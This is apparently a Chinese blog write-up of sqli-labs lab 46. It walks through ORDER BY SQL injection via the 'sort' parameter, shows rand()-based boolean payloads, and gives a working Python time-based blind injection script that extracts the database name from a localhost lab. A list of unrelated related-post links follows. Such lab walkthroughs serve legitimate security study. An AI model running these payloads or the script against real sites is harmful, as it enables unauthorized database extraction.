sql-labs第46关 脚本盲注

我们直接可以从界面中得知传参的参数为SORT

查看源码

我们令参数即sort为1尝试输入:即 ?sort=1

令参数即sort为2

看到按照字母顺序进行了排序,所以使用了order by语句。

用 rand()盲注 这里首先假设给true以及false两个来观察回显

?sort=rand(true)

?sort=rand(false)

看到给的值为真以及假是不一样的,所以我们可以构造出一个布尔盲注或者延时盲注

?sort=rand(ascii(mid((select database()),1,1))>114)

用py脚本进行盲注

代码如下

python 复制代码
import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
        	# 构造时间盲注
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            params = {"sort": payload}
            start_time = time.time()
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-46/index.php'
    inject_database(url)

这里我们可以看到使用脚本代码爆出了数据库名

相关推荐
火山上的企鹅6 小时前
Codex实战:APP远程升级服务搭建(三)后台管理页面(APK 上传、版本管理、多应用页签)
服务器·网络·数据库·oracle·qgc
阿狸猿7 小时前
论 NoSQL 数据库技术及其应用
数据库·nosql
FBI HackerHarry浩7 小时前
DataGrip2023.2.3默认保存的数据库和.sql文件在哪里?怎么修改默认路径?
数据库
袁小皮皮不皮7 小时前
3.HCIP OSPF补充知识(优化版)
服务器·网络·数据库·网络协议·智能路由器
运筹vivo@7 小时前
Python ContextVar 底层机制与内存模型拆解
前端·数据库·python
志栋智能7 小时前
超自动化巡检:知识沉淀与团队协作的新载体
大数据·运维·网络·数据库·人工智能·自动化
syt_biancheng8 小时前
Redis初识
数据库·redis·缓存
cmes_love8 小时前
股票逐笔level2历史行情下载十档订单薄五档tick分钟下载分享
数据库·区块链
仙俊红8 小时前
SQL 调优需要掌握的知识
数据库·sql
fofantasy9 小时前
NSK LH12AN 微型导轨技术手册
运维·网络·数据库·经验分享·规格说明书